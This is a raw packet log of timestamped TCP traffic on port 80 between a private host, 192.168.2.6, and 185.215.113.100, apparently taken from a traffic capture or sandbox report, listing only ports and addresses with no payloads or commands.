Aug 28, 2024 11:51:13.332794905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332804918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332815886 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332834005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332834959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.332848072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332859993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332863092 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.332873106 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332885027 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332890034 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.332895994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332911968 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.332931042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332931995 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.332942009 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332953930 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332966089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.332978964 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333004951 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333110094 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333121061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333131075 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333142996 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333154917 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333163023 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333179951 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333184958 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333190918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333201885 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333209991 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333214045 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333225012 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333237886 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333240032 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333250046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333265066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333266973 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333281994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333286047 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333293915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333301067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333304882 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333317041 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333328009 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333331108 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333339930 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333352089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333359003 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333376884 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333394051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333559990 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333570957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333581924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333604097 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333621979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333632946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333633900 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333645105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333656073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333666086 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333672047 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333677053 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333697081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333703995 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333724022 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333755970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333766937 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333782911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333794117 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333794117 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333806038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333811045 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333817005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333825111 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333828926 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333839893 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333853960 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333854914 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333873034 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333878040 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333884954 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333895922 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333898067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333908081 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333920956 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333928108 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333931923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333935976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333944082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333961964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333964109 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333972931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333982944 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.333991051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.333995104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334006071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334006071 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334017038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334018946 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334028006 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334052086 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334069967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334079027 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334086895 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334099054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334110975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334112883 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334121943 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334127903 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334132910 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334144115 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334146023 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334172010 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334183931 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334193945 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334206104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334216118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334228039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334233046 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334245920 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334247112 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334258080 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334268093 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334273100 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334275007 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334278107 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334284067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334294081 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334300041 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334323883 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334337950 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334350109 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334350109 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334361076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334373951 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334377050 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334384918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334391117 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334410906 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334436893 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334464073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334481955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334495068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334507942 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334511042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334517956 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334522963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334533930 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334537029 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334558010 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334568024 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334657907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334670067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334702969 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334712029 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334724903 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334727049 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334736109 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334747076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334755898 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334755898 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334767103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334781885 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334781885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334803104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334805012 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334815979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334825039 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334825993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334837914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334849119 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334853888 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334861994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334872961 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334881067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334883928 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334897041 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334916115 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334939957 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334945917 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334954977 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334964037 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334975004 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.334985018 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.334990978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335000992 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.335004091 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335015059 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335026979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335037947 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.335041046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335051060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.335052013 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335063934 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335071087 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.335074902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.335098982 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.335125923 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.420855999 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.420870066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.420881033 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.420893908 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.420905113 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.420962095 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.420993090 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421005964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421017885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421036959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421056986 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421180010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421191931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421201944 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421212912 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421222925 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421225071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421236992 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421247959 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421256065 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421260118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421271086 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421272039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421297073 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421323061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421336889 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421349049 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421360016 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421370029 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421380043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421382904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421394110 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421405077 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421406984 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421427011 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421448946 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421478987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421489954 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421525002 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421533108 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421684027 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421694994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421706915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421717882 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421722889 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421730042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421736002 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421741962 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421753883 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421756983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421787024 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421797037 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421823025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421840906 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421850920 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421863079 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421875000 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421875000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421881914 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421886921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.421916008 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.421931028 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.512017965 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512062073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512073994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512135983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.512183905 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.512667894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512680054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512691021 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512706995 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512718916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.512727976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.512762070 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.513119936 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513132095 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513149977 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513159990 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513170958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513175011 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.513181925 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513194084 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513202906 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.513206005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513216972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513221979 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.513247013 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.513261080 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.513489008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513500929 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513509989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513521910 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.513537884 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.513566017 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514208078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514219046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514235020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514250994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514261007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514259100 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514272928 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514276981 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514282942 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514293909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514303923 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514307022 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514317036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514333010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514338017 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514344931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514360905 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514390945 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514436007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514447927 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514482021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514713049 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514760971 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.514930010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.514977932 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.515002012 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515012980 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515022993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515057087 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.515063047 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515074015 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515079021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.515084982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515094042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515103102 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.515121937 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.515150070 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:13.515532970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515544891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:13.515588999 CEST	49710	80	192.168.2.6	185.215.113.100
